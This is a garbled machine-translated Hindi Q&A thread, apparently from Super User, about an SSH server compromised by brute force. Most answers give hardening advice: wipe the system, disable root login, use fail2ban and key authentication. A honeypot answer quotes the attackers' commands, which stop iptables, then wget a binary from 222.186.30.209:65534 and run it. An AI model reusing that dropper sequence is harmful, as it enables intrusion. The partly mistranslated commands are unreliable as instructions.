यह उत्तर एक दृष्टिकोण दिखाता है जो एक प्रतिमान होना चाहिए: 1. विफल प्रयासों से अपना ध्यान बदलना न दें, सतर्क रहें। 2. हमलावर के सफल कार्यों को अलग करें। 3. अध्ययन करें कि हमलावर ने क्या किया और कैसे किया। 4. स्क्रैच से या अंतिम अनिश्चित (हमला) बैकअप से सभी को स्थापित करें, आपको आवश्यक अतिरिक्त सुरक्षा जोड़ें (बिंदु 3)। 5. दूसरों को स्वयं की रक्षा करने में मदद करें (समझौता / संदिग्ध आईपी की सूची)। - Hastur
[@MariusMatutiae द्वारा टिप्पणी के बाद पुनः प्रतिक्रिया] - फिर भी, ओपी को यह समझना चाहिए कि एक समझौता प्रणाली पर, हर एक निष्पादन योग्य को दुर्भावनापूर्ण, यहां तक ​​कि खोल भी माना जाना चाहिए, ls, who या फिर कुछ और। समझौता सिस्टम पर किसी भी निष्पादन योग्य का उपयोग कर "डेटा बचाव" (उदा। scp या rsync) और भी मशीनों समझौता कर सकते हैं। - Dubu


इंटरनेट पर आपका स्वागत है - जहां किसी भी खुले एसएसएच सर्वर की जांच की जा रही है, ब्रूट-मजबूर होना चाहिए, और इसमें विभिन्न क्रोध हैं।

शुरू करने के लिए, आपको उत्पाद पर स्टोरेज को पूरी तरह से मिटा देना होगा। अगर आप इसे फोरेंसिक के लिए पास करना चाहते हैं तो इसे छवि दें, लेकिन उस पर लिनक्स इंस्टॉल अब संदेहजनक है।

अनुमान के बिट लेकिन

  1. आप को मजबूर होना पड़ा या एक सामान्य पासवर्ड का प्रयोग करें। यह अस्पष्टता से सुरक्षा है लेकिन आप एक शब्दकोश पासवर्ड नहीं चाहते हैं या एसएसएच के लिए खुले रूट खाते का उपयोग करने के लिए। यदि यह कोई विकल्प है या कम से कम नाम बदलना है तो रूट एसएसएच एक्सेस को अक्षम करें ताकि उन्हें दोनों अनुमान लगाने की आवश्यकता हो। रूट के रूप में SSHing किसी भी तरह भयानक सुरक्षा अभ्यास है। यदि आपको रूट का उपयोग करना है, तो दूसरे उपयोगकर्ता के रूप में लॉग इन करें और स्विच करने के लिए su या sudo का उपयोग करें।

  2. उत्पाद के आधार पर, आप किसी भी तरह से एसएसएच एक्सेस को लॉक करना चाहेंगे। कुल लॉक-डाउन एक अच्छा विचार की तरह लगता है, और उपयोगकर्ताओं को इसे खोलने की अनुमति देता है जैसी जरूरत थी। आप कौन से संसाधनों को छोड़ सकते हैं, इस पर निर्भर करते हुए, केवल अपने स्वयं के सबनेट, या किसी प्रकार की लॉगिन थ्रॉटलिंग सिस्टम में आईपी पते की अनुमति दें। यदि आपको अंतिम उत्पाद पर इसकी आवश्यकता नहीं है तो सुनिश्चित करें कि यह बंद हो गया है।

  3. एक गैर मानक बंदरगाह का प्रयोग करें। अस्पष्टता से सुरक्षा फिर से, लेकिन इसका मतलब है कि हमलावर को आपके बंदरगाह को लक्षित करने की आवश्यकता है।

  4. कभी भी डिफ़ॉल्ट पासवर्ड का प्रयोग न करें। मैंने देखा है कि सबसे अच्छा तरीका यादृच्छिक रूप से एक विशिष्ट डिवाइस के लिए पासवर्ड उत्पन्न करना है और इसे अपने उत्पाद के साथ भेजना है। सर्वश्रेष्ठ अभ्यास कुंजी आधारित प्रमाणीकरण है, लेकिन मुझे नहीं पता कि आप बड़े पैमाने पर बाजार उत्पाद पर कैसे पहुंचेंगे।


140
2018-02-01 13:24



5. यदि संभव हो तो सार्वजनिक कुंजी ऑथ का उपयोग करें। पासवर्ड ऑथ बहुत दूर है, बहुत कम सुरक्षित है। - Bob
हाँ, लेकिन अगर यह एक उपभोक्ता डिवाइस है, तो यह एक विकल्प नहीं हो सकता है। एक देव बॉक्स पर, यह एक शानदार विचार की तरह लगता है। एक सर्वर पर, ठीक है, मुझे पहले हैक किया गया था; पी - Journeyman Geek♦
यदि यह उपभोक्ता डिवाइस है तो उन सभी पर एक ही यादृच्छिक पासवर्ड या कुंजी भी एक बुरा विचार है। जैसा कि इसके सीरियल नंबर, इसकी मैक या अन्यथा पहचान योग्य जानकारी के आधार पर कुछ भी है। (कुछ जो SOHO मॉडेम / राउटर / डब्ल्यूएपी याद आते हैं)। - Hennes
यह एक उपभोक्ता डिवाइस है। हालांकि, लक्षित उपभोक्ता का विशाल बहुमत यह जानने के लिए पर्याप्त शिक्षित नहीं होगा कि एसएसएच क्या है। तो एसएसएच बंद कर दिया जा सकता है और अधिकतर बंद हो जाएगा। - vaid
इसका भी प्रयोग करें fail2ban। - Shadur


ओह, आप निश्चित रूप से हैक किया गया है। ऐसा लगता है कि कोई व्यक्ति रूट प्रमाण-पत्र प्राप्त करने में सक्षम रहा है और आपके सिस्टम में एक ट्रोजन डाउनलोड करने का प्रयास कर रहा है। MariusMatutiae ने पेलोड का विश्लेषण प्रदान किया।

दो सवाल उठते हैं: ए) हमलावर सफल रहा था? और बी) आप इसके बारे में क्या कर सकते हैं?

पहले सवाल का जवाब हो सकता है एक नंबर बनो ध्यान दें कि कैसे हमलावर बार-बार डाउनलोड और चलाने के लिए प्रयास करता है, स्पष्ट रूप से सफलता के बिना। मुझे संदेह है कि कुछ (SELinux, perchance?) अपने रास्ते में खड़ा था।

हालांकि: हमलावर ने भी आपका बदल दिया /etc/rc.d/rc.local फ़ाइल, आशा है कि जब आप अपने सिस्टम को पुनरारंभ करेंगे, तो पेलोड सक्रिय हो जाएगा। यदि आपने अभी तक सिस्टम को पुनरारंभ नहीं किया है, तब तक पुनरारंभ न करें जब तक आप इन परिवर्तनों को हटा नहीं देते /etc/rc.d/rc.local। यदि आप इसे पहले से ही पुनरारंभ कर चुके हैं ... अच्छा, कठिन भाग्य।

इसके बारे में आप इसके बारे में क्या कर सकते हैं: सिस्टम को मिटा देना और स्क्रैच से पुनर्स्थापित करना सबसे सुरक्षित बात है। लेकिन यह हमेशा एक विकल्प नहीं हो सकता है। ऐसा करने के लिए एक बहुत ही कम सुरक्षित बात यह है कि वास्तव में क्या हुआ और इसका विश्लेषण करने के लिए इसका हर निशान मिटा दें। दोबारा, अगर आपने अभी तक सिस्टम को पुनरारंभ नहीं किया है, तो शायद यह सब साफ है /etc/rc.d/rc.local, हमलावर द्वारा डाउनलोड की गई कुछ भी हटाएं, और आखिरी लेकिन कम से कम नहीं, डर्न पासवर्ड बदलें!

हालांकि, अगर हमलावर पहले से ही पेलोड चलाने में सक्षम था, तो आपके सिस्टम में अन्य संशोधन भी हो सकते हैं जिन्हें पहचानना मुश्किल हो सकता है। यही कारण है कि एक पूर्ण वाइप वास्तव में एकमात्र सुरक्षित (और अनुशंसित) विकल्प है। जैसा कि आपने संकेत दिया है, प्रश्न में उपकरण एक परीक्षण / विकास लक्ष्य हो सकता है, इसलिए शायद इसे पोंछना उतना दर्दनाक नहीं है जितना कि यह अन्य मामलों में हो सकता है।

अद्यतन करें: एक संभावित वसूली के बारे में मैंने जो लिखा है उसके बावजूद, मैं MariusMatutiae को गूंजना चाहता हूं बहुत ताकतवर अनुशंसा इस पेलोड के कारण होने वाले संभावित नुकसान को कम करने और उस सीमा तक जिसने लक्ष्य प्रणाली से समझौता किया हो।


33
2018-02-01 21:06



धन्यवाद। मैंने सिस्टम को वाइप करने का फैसला किया है। मैंने इसे दो बार फिर से शुरू किया लेकिन कुछ आवश्यक डेटा कॉपी करने के लिए। कोई बाइनरी नहीं, केवल स्रोत कोड। मुझे लगता है कि मैं अब बहुत सुरक्षित हूँ। - vaid
एक ही लैन पर अन्य बक्से के बारे में क्या? - WGroleau
अच्छा प्रश्न। प्रदान किया गया खोल इतिहास उसी नेटवर्क पर अन्य बक्से खोजने और समझौता करने के किसी भी प्रयास को इंगित नहीं करता है। अधिक आम तौर पर, यदि हमलावर एसएसएच (रूट) को किसी बॉक्स तक पहुंच प्राप्त करता है, तो इसका मूल रूप से अर्थ है कि उसने किसी भी परिधि फ़ायरवॉल को छोड़ दिया है। हालांकि, यह स्वचालित रूप से इंगित नहीं करता है कि अन्य बक्से से समझौता किया गया है: इसके लिए एक असुरक्षित भेद्यता, बक्से के बीच साझा पासवर्ड, एक बॉक्स से दूसरे बॉक्स में ऑटो-लॉगिन आदि की आवश्यकता होगी। - Viktor Toth


मेरे एसएसडी-हनीपॉट ने इस तरह के हमले को भी देखा है। उस यूआरएल से पहले डाउनलोड 2016-01-29 10:25:33 शुरू हुआ और हमले अभी भी चल रहे हैं। हमले आ रहे हैं / आ रहे थे

103.30.4.212
111.68.6.170
118.193.228.169

इन हमलावरों से इनपुट था:

सेवा iptables बंद करो
wget http://222.186.30.209:65534/yjz1
नोहप / रूट / yjz1> / dev / null 2> & amp1 &
chmod 0777 yjz1
chmod u + x yjz1
./yjz1 &
chmod u + x yjz1
./yjz1 &
सीडी / टीएमपी

तो बाद में बैकडोर स्थापित करने के अलावा अन्य कोई गतिविधियां नहीं।


17
2018-02-02 10:34



सहमत है, यह वही एमओ है। - MariusMatutiae
@MariusMatutiae तो यह एक मैनुअल हैक तो नहीं है? यह किसी प्रकार का आत्म फैलता कीड़ा / बॉट है? - NickG
@NickG मेरा सबसे अच्छा अनुमान यह है कि यह मैन्युअल हैक नहीं था। चीन-आधारित बोनेट के उत्प्रेरक के रूप में वही कार्यालय में वैद काम करता है कि संभावना क्या है? किसी को अपनी मशीन में एक शोषक कमजोरी मिली, सबसे कमजोर रूप से सुरक्षित एसएसएच सर्वर, अपने पासवर्ड को मजबूर कर दिया, पहुंच प्राप्त कर लिया, खुद को आत्मसमर्पण करने की कोशिश की। हालांकि, मैं यह भी शर्त लगाता हूं कि हमलावर विंडोज के साथ लिनक्स की तुलना में अधिक धाराप्रवाह है। लेकिन मेरे पास नहीं है कठिन इसका सबूत, सिर्फ एक शिक्षित अनुमान है। - MariusMatutiae


यहां हर किसी ने ठोस सलाह दी है, लेकिन स्पष्ट होने के लिए, आपकी प्राथमिकताओं का बैक अप लेना चाहिए और उस प्रणाली से आपको वास्तव में क्या चाहिए, इसकी पुष्टि करना चाहिए, फिर इसे ज्ञात-सुरक्षित मीडिया से ताजा इंस्टॉल के साथ मिटा देना चाहिए।

अपने नए स्थापित होस्ट को इंटरनेट से कनेक्ट करने से पहले, इन विचारों के माध्यम से चलाएं:

  1. एक नया गैर रूट उपयोगकर्ता बनाएं, और उस उपयोगकर्ता के रूप में लॉग इन करें। जरूरी होने पर आपको जड़ के रूप में लॉगिन करने की आवश्यकता नहीं है, बस सूडो (विकल्प उपयोगकर्ता) जब आवश्यक हो।

  2. एसई लिनक्स, कॉन्फ़िगरेशन सेटिंग्स स्थापित करें जो अनिवार्य पहुंच नियंत्रण सक्षम करें: https://wiki.debian.org/SELinux/Setup

  3. अपने कार्यालय / घर और इंटरनेट के बीच एक हार्डवेयर फ़ायरवॉल पर विचार करें। मैं माइक्रोटिक का उपयोग करता हूं, जिसमें उत्कृष्ट सामुदायिक समर्थन है: http://routerboard.com/

मान लीजिए कि आप अपने सशुल्क काम को पूरा करने के लिए समयरेखा पर हैं, कम से कम # 1 करें। # 3 तेज़ और सस्ता है, लेकिन आपको या तो मेल में पैकेज पर इंतजार करना होगा, या स्टोर में ड्राइव करना होगा।


11
2018-02-01 23:32



और, सबसे ऊपर, अपने पीसी को एक खुले रूट सत्र के साथ अनुपयुक्त नहीं छोड़ें! - MariusMatutiae


  1. है डेबियन-armhf आपका होस्टनाम? या आप डिफ़ॉल्ट सेटिंग्स के साथ एक डिफ़ॉल्ट स्थापना का उपयोग करते हैं? इसके साथ कोई समस्या नहीं है, लेकिन आपको मेजबान को इंटरनेट से सीधे संपर्क करने की अनुमति नहीं देनी चाहिए (यानी कम से कम आपके मॉडेम द्वारा संरक्षित नहीं)।

  2. ऐसा लगता है कि असली मुसीबत आ रही है 222.186.30.209 (देख http://anti-hacker-alliance.com/index.php?ip=222.186.30.209)। आपको माइक्रोसॉफ्ट के आईपी को देखने के लिए ज्यादा ध्यान नहीं देना चाहिए। आईपी ​​आसानी से आसानी से faked / spoofed हो सकता है।

  3. इंटरनेट से कनेक्ट करने का एक सामान्य तरीका है अपने सार्वजनिक आईपी (उदा। 8.8.8.8) से बंदरगाहों की एक ज्ञात सूची को अपने स्थानीय (उदाहरण के लिए 1 9 2.168.1.12) को अग्रेषित करना।

    • उदाहरण के लिए, सभी आने वाले कनेक्शनों को आगे न भेजें 8.8.8.8 (सार्वजनिक) करने के लिए 192.168.1.12 (स्थानीय)।

    • केवल बंदरगाहों को अग्रेषित करें 22 तथा 25 (क्रमशः एसएसएच और आने वाली मेल)। आपको, निश्चित रूप से, अद्यतित होना चाहिए ssh तथा smtp पैकेज / पुस्तकालय भी।

  4. आगे क्या होगा? मेजबान को डिस्कनेक्ट करें, और किसी भी पासवर्ड को बदलें (संगठन से जुड़े किसी भी कंप्यूटर पर) जो कि शैल स्क्रिप्ट्स में हार्डकोडेड हैं (आप पर शर्म की बात है!) /etc/shadow


11
2018-02-01 13:03



1. हां डेबियन-armhf मेजबान का नाम है। 2. हां मैंने उस लेख को पढ़ा है, और मैंने माइक्रोसॉफ्ट से उनकी वेबसाइट cest.microsoft.com के माध्यम से संपर्क किया है। 3. मैंने केवल 25 और 22 को अग्रेषित किया था, और कुछ भी आगे नहीं भेजा गया था। 4. मैं वह करूँगा - vaid
"आईपी नकली कम या ज्यादा आसानी से हो सकता है": मैं सुरक्षा नहीं हूं और नेटवर्क विशेषज्ञ नहीं हूं। वो कैसे संभव है? - kevinarpe
@kevinarpe शायद यह एक अलग सवाल के रूप में काफी बेहतर है। - α CVn
देख stackoverflow.com/questions/5180557/... तथा superuser.com/questions/37687/... - Archemar
@ आर्केमार: एसएसएच टीसीपी है; असंभव नहीं होने पर टीसीपी स्रोत आईपी बनाना मुश्किल है। इसके अलावा, जैसा कि ऊपर स्थापित किया गया है, माइक्रोसॉफ्ट आईपी उनकी क्लाउड सेवा एज़ूर से संबंधित है, जिसका मतलब है कि कोई भी दूसरों पर हमला करने के लिए सेवा पर समय खरीद सकता था। - nneonneo


जैसा कि अन्य ने कहा है, यह स्पष्ट है कि आपके सर्वर की सुरक्षा से समझौता किया गया है। सबसे सुरक्षित बात यह है कि इस मशीन को मिटा दें और पुनः इंस्टॉल करें।

अपने प्रश्न के दूसरे भाग का जवाब देने के लिए, यदि आप सार्वजनिक कुंजी ऑथ का उपयोग नहीं कर सकते हैं, तो मैं कम से कम Fail2Ban सेट अप करने और गैर-मानक पोर्ट पर SSH चलाने की अनुशंसा करता हूं। मैं रूट एसएसएच एक्सेस भी अक्षम करता हूं।

fail2ban आईपी ​​पते पर प्रतिबंध लगाकर ब्रूट-फोर्स हमलों को कम करने में मदद मिलेगी जो कुछ निश्चित समय में लॉग इन करने में असफल हो जाते हैं।

गैर मानक पोर्ट पर सुनने के लिए sshd सेट करना कम से कम आपके एसएसएच सर्वर की दृश्यता को कम करने में मदद करेगा। रूट लॉगऑन को अक्षम करने से हमले प्रोफाइल को थोड़ा कम कर दिया जाता है। में /etc/sshd_config:

PermitRootLogin no
Port xxxxx

रूट लॉगिन अक्षम होने के साथ आपको रूट पर स्विच करने की आवश्यकता होगी su एक बार जब आप कनेक्ट हो जाते हैं, या (अधिक अधिमानतः) उपयोग करते हैं sudo विशेषाधिकार प्राप्त आदेशों को निष्पादित करने के लिए।


9
2018-02-02 16:58



मैंने उन दोनों को किया है, सलाह के लिए धन्यवाद। - vaid


एसएसएच सर्वर लगातार इंटरनेट पर हमले में हैं। आप जो कुछ करते हैं:

  1. इंटरनेट एक्सेस करने योग्य मशीनों के लिए सुनिश्चित करें कि आप एक बहुत सुरक्षित यादृच्छिक पासवर्ड का उपयोग करें। मेरा मतलब है 16 वर्ण या अधिक और पूरी तरह से यादृच्छिक। पासवर्ड मैनेजर का प्रयोग करें ताकि आपको इसे याद रखना पड़े। यदि आप अपना पासवर्ड याद कर सकते हैं, तो यह बहुत आसान है।

  2. यदि आपको एसएसएच की आवश्यकता नहीं है, तो इसे बंद करें। यदि आपको इसकी आवश्यकता है, लेकिन इसे सार्वजनिक रूप से सुलभ करने की आवश्यकता नहीं है, तो इसे उच्च, गैर-मानक पोर्ट नंबर पर चलाएं। ऐसा करने से हैक प्रयासों को नाटकीय रूप से कम कर दिया जाएगा। हां एक समर्पित हैकर पोर्ट पोर्ट स्कैन कर सकता है, लेकिन स्वचालित बॉट्स इसे नहीं ढूंढ पाएंगे।

आपके ऑथ लॉग से स्निपेट एक असफल प्रयास दिखाता है। हालांकि यदि आप आगे देखते हैं तो आपको कोई संदेह नहीं होगा कि एक सफल लॉगिन देखें। यह आप एक साधारण पासवर्ड का उपयोग करते हैं, तो एक बॉट के अंदर आने के लिए यह छोटा है।

आपको नेटवर्क से इस मशीन को अलग करने की जरूरत है। बहुत सावधानी से प्राप्त करें कि आपको इसकी क्या आवश्यकता है, और फिर इसे मिटा दें।


8
2018-02-01 23:51



जब मैं बंदरगाह 22 पर एसएसएच चलाने के लिए प्रयोग करता था, तो मेरे पास प्रति दिन हजारों हैक प्रयास होंगे। जब मैं एक उच्च पोर्ट नंबर (50000 से अधिक) में बदल गया, तो इन हैक प्रयास पूरी तरह से बंद हो गए। - user1751825
16 वर्ण पर्याप्त सुरक्षित नहीं हैं। उपयोगकर्ता लॉग आउट भी आसान है। बस इसे एक परम लॉकआउट न बनाएं, इसे समाप्त करें, लेकिन इसे एक घंटे की तरह बनाएं। इस तरह आप अभी भी सर्वर तक पहुंच सकते हैं। - Ramhound
ध्यान दें कि चरण 2) सुरक्षा के लिए सख्ती से जरूरी नहीं है, जब तक आपके पास मजबूत प्रमाणीकरण (सार्वजनिक कुंजी या एक मजबूत पासवर्ड) हो। - user20574
@ रामहाउंड क्यों नहीं? यहां तक ​​कि अगर यह केवल लोअरकेस अक्षर था, 16 लोअरकेस अक्षरों 43608742899428874059776 संभावनाएं प्रदान करता है, जो कि ब्रूट-बल के लिए अव्यवहारिक है, खासतौर पर एक ऑनलाइन ब्रूट-फोर्स के लिए जहां सर्वर हर बार प्रयास करने में विफल रहता है। - user20574
@ User20574। सख्ती से जरूरी नहीं है, एसएसएच सेवा की दृश्यता को कम करना अभी भी बहुत उपयोगी है। भले ही आपके लॉग से अव्यवस्था को हटाने के अलावा किसी अन्य कारण के लिए। यदि किसी मशीन को केवल सीमित समूह के लिए पहुंच योग्य होने की आवश्यकता है, तो एक गैर मानक पोर्ट सुरक्षा में सुधार के लिए एक बिल्कुल उचित कदम है। - user1751825


फ्रंट-फेस लिनक्स / यूनिक्स सर्वर स्थापित करने के बाद किसी को भी / हर किसी को क्या करना चाहिए तुरंत तुरंत अक्षम करना है root

आपके सिस्टम से समझौता किया गया था। आपके पास एक चलने वाला इतिहास लॉग है जो कि कुछ हद तक देखने के लिए अच्छा हो सकता है। लेकिन ईमानदारी से विनिर्देशों को विच्छेदन करना थोड़ा नाइट-पिक्य है और आपको अपने सर्वर को सुरक्षित करने में मदद नहीं करेगा। यह सभी प्रकार के बकवास दिखाता है जो तब होता है जब बोनेट ने मैलवेयर पैदा किया- जो संभवतः आपके सर्वर को संक्रमित करता है-लिनक्स सिस्टम को संक्रमित करता है। @MariusMatutiae द्वारा प्रदान किया गया उत्तर अच्छा और अच्छी तरह से सोचा गया है और ऐसे लोग हैं जो दोहराते हैं कि आप के माध्यम से हैक किया गया था root एक्सेस जो मैलवेयर / बॉटनेट का गीला सपना है।

अक्षम करने के तरीके पर कुछ स्पष्टीकरण हैं root लेकिन मैं व्यक्तिगत अनुभव से कहूंगा, जो कुछ भी मैं आगे बताऊंगा उससे परे कुछ भी अधिक है। यह वही है जो आप चाहिए जब आपने सर्वर को पहली बार सेटअप किया था तब किया है:

  1. के साथ एक नया उपयोगकर्ता बनाएँ sudo अधिकार: एक नए उपयोगकर्ता के साथ एक नया उपयोगकर्ता बनाएँ- कुछ ऐसा cooldudeएक आदेश का उपयोग करना sudo adduser cooldude यदि आप उबंटू या किसी अन्य प्रकार के डेबियन सिस्टम का उपयोग कर रहे हैं। फिर बस मैन्युअल रूप से संपादित करें sudo इस तरह के कमांड का उपयोग कर फ़ाइल sudo nano /etc/sudoers और एक लाइन जोड़ें cooldude ALL=(ALL:ALL) ALL समकक्ष रेखा के नीचे जो पढ़ना चाहिए root ALL=(ALL:ALL) ALL। इसके साथ, लॉगिन के रूप में cooldude और परीक्षण करें sudo कमांड के साथ कमांड sudo w- कुछ बुनियादी और विनाशकारी - यह देखने के लिए कि क्या sudo अधिकार काम आपको पासवर्ड के लिए संकेत दिया जा सकता है। यह काम करता है? सब अच्छा! अगले चरण पर ले जाएं।
  2. लॉक करें root लेखा: ठीक है, अब वह cooldude के साथ प्रभारी है sudo अधिकार, के रूप में लॉगिन करें cooldude और रूट खाते को लॉक करने के लिए इस कमांड को चलाएं sudo passwd -l root। अगर किसी तरह आपने एक एसएसएच कुंजी जोड़ी बनाई है root, खुलना /root/.ssh/authorized_keys और चाबियाँ हटा दें। या बेहतर अभी तक, बस उस फ़ाइल का नाम बदलें authorized_keys_OFF इस तरह, sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF एसएसएच कुंजी को प्रभावी रूप से अक्षम करने के लिए। मैं बाद में पसंद करता हूं क्योंकि ऑफ-हैंड मौके पर आपको अभी भी पासवर्ड कम लॉगिन की आवश्यकता है, आप बस उस फ़ाइल को मूल नाम पर ले जा सकते हैं और आपको जाने के लिए अच्छा होना चाहिए।

एफडब्ल्यूआईडब्ल्यू, मैंने पिछले कुछ वर्षों में लिनक्स सर्वर के दर्जनों सर्वर प्रबंधित किए हैं और अनुभव से जानते हैं जो बस अक्षम कर रहे हैं rootऔर एक नया उपयोगकर्ता स्थापित करने के साथ sudo अधिकार - किसी भी लिनक्स सिस्टम को सुरक्षित करने का सबसे सरल और सबसे बुनियादी तरीका है। मुझे एक बार एसएसएच के माध्यम से किसी भी तरह के समझौता से निपटना नहीं पड़ा root अक्षम है। और हाँ, आप के माध्यम से लॉगिन करने के प्रयास देख सकते हैं auth.log लेकिन वे व्यर्थ हैं; अगर root अक्षम है तो उन प्रयासों को कभी भी कुछ भी शामिल नहीं किया जाएगा। बस वापस बैठो और अंतहीन असफल प्रयासों को देखो!


6
2018-02-07 02:34